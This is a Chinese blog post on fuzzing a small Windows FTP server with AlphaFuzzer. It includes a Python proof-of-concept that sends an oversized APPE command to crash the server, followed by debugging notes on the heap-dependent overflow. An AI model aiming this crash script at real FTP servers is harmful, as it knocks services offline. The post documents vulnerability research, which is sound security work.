版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_19683651/article/details/79832643
前言
第一次尝试ftp fuzzing,然后其中遇到很多问题,和大家探讨下。
目标程序是守望迷你FTP服务器,网上可以搜到,fuzzing工具是天融信的AlphaFuzzer。
配置完ftp
直接用AlphaFuzzer中的ftpfuzz功能,出现可能的poc指令。
因为最后要写成poc,所以我这边直接写成python。
import socket,sys
def ftp_test(ip,port,user,passwd):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
connect=s.connect((ip,port))
print '[+] Connected!'
except:
print '[!] Connected failed!'
exit(0)
print s.recv(1024)
s.send('USER %s\r\n'%user)
print s.recv(1024)
s.send('PASS %s\r\n'%passwd)
print s.recv(1024)
s.send('APPE '+'./A'*102+'\r\n')
#s.send('CWD '+'a'*272+'\r\n')
try:
print s.recv(1024)
print 'failed'
except:
print 'ok'
s.close()
if __name__ == '__main__':
ftp_test('127.0.0.1',21,'admin','123456')
然后进行调试ftp,找出溢出利用的方法。简单分后发现守望ftp是由php写成的,加了upx壳,php能写桌面这块还不是很了解。
脱壳后,分析后直接找到recv函数,在php_sockets.dll的0x56E8处直接断点。
分析发现溢出存在偶然性,每次accept一次,ftp则会创建一个堆,每次recv 0x210 byte,而在malloc的地址在栈的上面的时候,才有可能触发异常,所以想要真正利用这个溢出点还是比较困难的。